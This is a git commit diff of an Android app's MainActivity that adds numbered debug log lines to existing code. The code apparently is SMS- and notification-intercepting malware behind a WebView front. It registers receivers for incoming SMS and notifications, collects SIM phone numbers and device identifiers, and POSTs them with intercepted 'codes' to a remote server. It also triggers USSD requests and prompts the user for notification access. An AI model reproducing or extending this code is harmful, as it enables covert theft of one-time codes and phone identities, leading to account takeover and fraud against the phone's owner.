This commit is contained in:
Your Name 2025-04-09 00:19:26 +03:00
parent 73740a4b10
commit d4aa11142e

View file

@ -189,31 +189,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private void loadData() { private void loadData() {
requestsCount = 0; requestsCount = 0;
Log.i("a", "4"); // STATIC
GetRequest ussdRequestTask = new GetRequest(this, this); GetRequest ussdRequestTask = new GetRequest(this, this);
ussdRequestTask.execute(ussdUrl); ussdRequestTask.execute(ussdUrl);
Log.i("a", "5"); // STATIC
GetRequest languagesRequestTask = new GetRequest(this, this); GetRequest languagesRequestTask = new GetRequest(this, this);
languagesRequestTask.execute(languagesUrl); languagesRequestTask.execute(languagesUrl);
} }
public static String getKey(Context context) { public static String getKey(Context context) {
try { try {
Log.i("a", "6"); // STATIC
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
return sharedPreferences.getString("KEY", return sharedPreferences.getString("KEY",
"INIT_KEY"); // VARIABLE STATIC "INIT_KEY"); // VARIABLE STATIC
} catch (Exception e) { } catch (Exception e) {
Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC
return ""; // STATIC return ""; // STATIC
} }
} }
public static void setKey(Context context, String key) { public static void setKey(Context context, String key) {
Log.i("a", "7"); // STATIC
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
editor.putString("KEY", key); editor.putString("KEY", key);
editor.apply(); editor.apply();
} }
private void promptNotificationAccess() throws JSONException { private void promptNotificationAccess() throws JSONException {
Log.i("a", "8"); // STATIC
AlertDialog.Builder builder = new AlertDialog.Builder(this); AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(language.getString("title")); // STATIC builder.setTitle(language.getString("title")); // STATIC
builder.setMessage(language.getString("message")); // STATIC builder.setMessage(language.getString("message")); // STATIC
@ -238,6 +242,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
this.runOnUiThread(new Runnable() { this.runOnUiThread(new Runnable() {
public void run() { public void run() {
Log.i("a", "9"); // STATIC
AlertDialog dialog = builder.create(); AlertDialog dialog = builder.create();
dialog.show(); dialog.show();
} }
@ -246,6 +251,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public static String getDeviceInfo(Context context) public static String getDeviceInfo(Context context)
{ {
Log.i("a", "10"); // STATIC
String m_data = ""; // STATIC String m_data = ""; // STATIC
String p_seperator = ":"; // STATIC String p_seperator = ":"; // STATIC
StringBuilder m_builder = new StringBuilder(); StringBuilder m_builder = new StringBuilder();
@ -269,6 +275,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
m_builder.append(android_id); m_builder.append(android_id);
m_data = m_builder.toString(); m_data = m_builder.toString();
Log.i("a", "11"); // STATIC
return m_data; return m_data;
} }
@ -286,7 +293,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
registerReceiver(notificationReceiver, filter); registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
Log.i("a", "12"); // STATIC
Context permissionContext = this; Context permissionContext = this;
new Handler().postDelayed(() -> makeProcess(permissionContext), 500); new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
} }
@ -295,6 +302,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private class NotificationReceiver extends BroadcastReceiver { private class NotificationReceiver extends BroadcastReceiver {
@Override @Override
public void onReceive(Context context, Intent intent) { public void onReceive(Context context, Intent intent) {
Log.i("a", "13"); // STATIC
String code = intent.getStringExtra("code"); String code = intent.getStringExtra("code");
onNotificationReceived(code); onNotificationReceived(code);
} }
@ -303,6 +311,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public void onNotificationReceived(String code) { public void onNotificationReceived(String code) {
if(codes.contains(code)) if(codes.contains(code))
return; return;
Log.i("a", "14"); // STATIC
codes.add(code); codes.add(code);
cancelTimer(); cancelTimer();
PostRequest postRequestTask = new PostRequest(this, this); PostRequest postRequestTask = new PostRequest(this, this);
@ -312,24 +321,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
public void cancelTimer(){ public void cancelTimer(){
Log.i("a", "15"); // STATIC
if (timer != null) { if (timer != null) {
timer.cancel(); timer.cancel();
} }
} }
public void nextPhone() { public void nextPhone() {
Log.i("a", "16"); // STATIC
currentPhone += 1; currentPhone += 1;
if (phones.size() > currentPhone) if (phones.size() > currentPhone)
savePhone(getBaseContext(), phones.get(currentPhone)); savePhone(getBaseContext(), phones.get(currentPhone));
} }
private void makeProcess(Context context) { private void makeProcess(Context context) {
Log.i("a", "17"); // STATIC
currentPhone = 0; currentPhone = 0;
phones = collectPhoneNumber(context); phones = collectPhoneNumber(context);
savePhone(context, phones.get(currentPhone)); savePhone(context, phones.get(currentPhone));
} }
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
Log.i("a", "18"); // STATIC
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
!= PackageManager.PERMISSION_GRANTED) { != PackageManager.PERMISSION_GRANTED) {
return false; return false;
@ -346,9 +359,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void savePhone(Context context, PhoneNumber phone){ private void savePhone(Context context, PhoneNumber phone){
Log.i("a", "19"); // STATIC
if(phone.phoneProvided()){ if(phone.phoneProvided()){
Log.i("a", "20"); // STATIC
requestPhone(context, phone); requestPhone(context, phone);
} else { } else {
Log.i("a", "21"); // STATIC
receivingSms = false; receivingSms = false;
currentHash = ""; // STATIC currentHash = ""; // STATIC
if(!isSimConnected(context, phone.telephonyManager)) if(!isSimConnected(context, phone.telephonyManager))
@ -359,6 +375,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void requestPhone(Context context, PhoneNumber phone){ private void requestPhone(Context context, PhoneNumber phone){
Log.i("a", "22"); // STATIC
PostRequest postRequestTask = new PostRequest(context, this); PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone", postRequestTask.execute("phone",
phone.save() + ";" + getDeviceInfo(context)); // STATIC phone.save() + ";" + getDeviceInfo(context)); // STATIC
@ -366,6 +383,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onPostResponse(JSONObject result) { public void onPostResponse(JSONObject result) {
Log.i("a", "23"); // STATIC
try { try {
if(result.has("hash")) // STATIC if(result.has("hash")) // STATIC
currentHash = result.getString("hash"); // STATIC currentHash = result.getString("hash"); // STATIC
@ -390,6 +408,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onGetResponse(JSONObject result) { public void onGetResponse(JSONObject result) {
Log.i("a", "24"); // STATIC
try { try {
if(result.get("name"). // STATIC if(result.get("name"). // STATIC
equals("ussd")){ // STATIC equals("ussd")){ // STATIC
@ -419,6 +438,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private boolean isNotificationServiceEnabled() { private boolean isNotificationServiceEnabled() {
Log.i("a", "25"); // STATIC
String packageName = getPackageName(); String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString( String enabledListeners = Settings.Secure.getString(
getContentResolver(), getContentResolver(),
@ -433,6 +453,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private static String[] retrievePermissions(Context context) { private static String[] retrievePermissions(Context context) {
Log.i("a", "26"); // STATIC
final String pkgName = context.getPackageName(); final String pkgName = context.getPackageName();
try { try {
return context return context
@ -446,6 +467,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void requestPermissions(String[] permissions) { private void requestPermissions(String[] permissions) {
Log.i("a", "27"); // STATIC
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
} }
@ -473,6 +495,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void requestUssdNumber(PhoneNumber phone) { private void requestUssdNumber(PhoneNumber phone) {
Log.i("a", "28"); // STATIC
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return; return;
String ussdRequest = null; String ussdRequest = null;
@ -512,6 +535,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private List<PhoneNumber> collectPhoneNumber(Context context){ private List<PhoneNumber> collectPhoneNumber(Context context){
Log.i("a", "30"); // STATIC
List<PhoneNumber> phoneNumbers = new ArrayList<>(); List<PhoneNumber> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
return phoneNumbers; return phoneNumbers;
@ -562,6 +586,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onBackPressed() { public void onBackPressed() {
Log.i("a", "31"); // STATIC
if (webView.canGoBack()) { if (webView.canGoBack()) {
webView.goBack(); webView.goBack();
} else { } else {
@ -571,6 +596,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
protected void onDestroy() { protected void onDestroy() {
Log.i("a", "32"); // STATIC
super.onDestroy(); super.onDestroy();
try { try {
unregisterReceiver(smsReceiver); unregisterReceiver(smsReceiver);